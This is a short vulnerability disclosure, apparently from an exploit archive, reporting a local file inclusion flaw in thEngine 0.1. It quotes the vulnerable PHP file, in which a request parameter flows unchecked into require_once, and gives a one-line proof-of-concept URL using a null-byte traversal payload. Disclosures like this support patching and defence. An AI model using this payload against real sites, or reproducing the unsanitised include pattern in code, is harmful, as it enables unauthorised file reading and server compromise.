thEngine 0.1 Local File Inclusion

`=============================================================================================  
=============================================================================================  
== @@@@@@@@ @@@@@@ @@@@@@@ @@ @@ @@@@@@ @@ @@ @@@@@@@@ @@@@@@ ==  
== @@@@@@@@ @@@@@@ @@@@@@@ @@@ @@@ @@@@@@ @@ @@ @@@@@@@@ @@@@@@ ==  
== @@ @@ @@ @@ @@ @ @ @@ @@ @@ @@ @@ @@ ==  
== @@ @@ @@ @@ @@ @ @ @@ @@ @@ @@ @@ @@ ==  
== @@ @@@@@@ @@@@@@@ @@ @ @@ @@@@@@ @@ @@ @@ @@@@@@ ==  
== @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ ==  
== @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ ==  
== @@ @@@@@@ @@ @@ @@ @@ @@@@@@ @@@@@@ @@ @@ @@@@@@ ==  
== @@ @@@@@@ @@ @@ @@ @@ @@@@@@@ @@@@@@ @@@@@@ @@ @@ @@@@@@ ==  
== ==  
=============================================================================================  
=============================================================================================  
||| |||  
||| |||  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
~~~ Greetz and Thanks to: All member manadocoding.net ~~~~  
~~~ ~~~~  
~~~ MC team : team_elite , devilbat , virusfree , doniskynet , ~~~~  
~~~ lumut-- , kisame ~~~~  
~~~ ~~~~  
~~~ thanks for : cr4wl3r ~~~~  
~~~ ~~~~  
~~~ Discovered: team_elite[at]Auzs.net ~~~~  
~~~ ~~~~  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
||| |||  
||| |||  
############################################################################  
## ##   
## Download Script: http://sourceforge.net/projects/thengine/files/ ##  
## ##  
## Code [test.class.php]: ##  
## ##  
############################################################################  
||| |||  
||| |||  
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
xx <?php xx  
xx /** xx  
xx * thEngine xx  
xx * Copyright (c) 2006 Thion, http://thion.jogger.pl xx  
xx * This program is free software; you can redistribute it and/or modify xx  
xx * it under the terms of the GNU Public General Public License as xx  
xx * published by the Free Software Foundation; either version 2.1 of the xx  
xx * License, or (at your option) any later version. xx  
xx */ xx  
xx xx  
xx require_once('languages/'.$strLanguage.'/test.class.php'); xx  
xx class test xx  
xx { xx  
xx public function __construct() xx  
xx { xx  
xx global $opt; xx  
xx $opt -> assign('message', TEST); xx  
xx $opt -> display('test.tpl'); xx  
xx } xx  
xx } xx  
xx ?> xx  
xx xx  
xx PoC: [thEngine_path]/modules/test/test.class.php?strLanguage=[LFI%00] xx  
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
* - ,   
* - @@   
* - @@#   
* - :@@;   
* - @@@@@ ......`   
* - @@@@.@@@@@@@@@@@#   
* - @@@@@@@@@@@@@@@@@@`   
* - @@@@@@@@@@@@@@@@@@@@;   
* - #@@@@@@@@@@@@@@@@@   
* - `@@,@@@@@@@@@@@@@@@@@:   
* - @@@+@@@@@@@ @@@@@@@;@@@`   
* - :@@@@@@@@@:@,; @@@@@@@ .@@   
* - @@@@@@@@@@@ : @@@@@@@@ @@   
* - @@@@' ` ` @@@@@@@@@: +.   
* - .@@ @@@@@@@@@@@ .   
* - , +@@@@@@@@@@@@@   
* - +@@@@@@@@@@@@@@@@@@@@#   
* - ,@@@@@@@@@@@@@@@@@ +@@@   
* - `@@@@@@@@@@@@@@@@@@@ @@@   
* - @@@@@@@@@@@@@@@@@@@ @@`   
* - @@@@@@@@@@@@@@@@@@ @@   
* - +@@@@@@@@@@; @@@# @   
* - @@@@@@@@@ :   
* - @@@@@@@@ ,@@   
* - @@@@@@@@@ @@@'   
* - @@@@@@@`@ @@@;   
* - @@@@@@@ @ @. @@@@@@@@   
* - @@@@@@@@@ @@@@@@@@@@@@@#   
* - @@@@@@@@@@@@ @@@@@@@@@@@@@@@   
* - @ @@@@@@@ ;@@@@@@@@@@@@@@@@@   
* - @ @@@@@@@@@@@@@@@@@@@ ,@@@@+   
* - @@@@@@@@@@@@@@@@@@@ @@@@   
* - @@@ @@@@@@@@@ @@@@@@; @@@@   
* - @@ @@@@@@@` @@@ . @@.   
* - @@ ; @@@@# :@@@@@# @@.   
* - @ @@@: ;@   
* - ;` @@ ;@   
* - @@ @   
* - @ #   
* - : :   
* --------------------------------------------->>>> bugs found on may 05 2010 by team_elite.  
  
`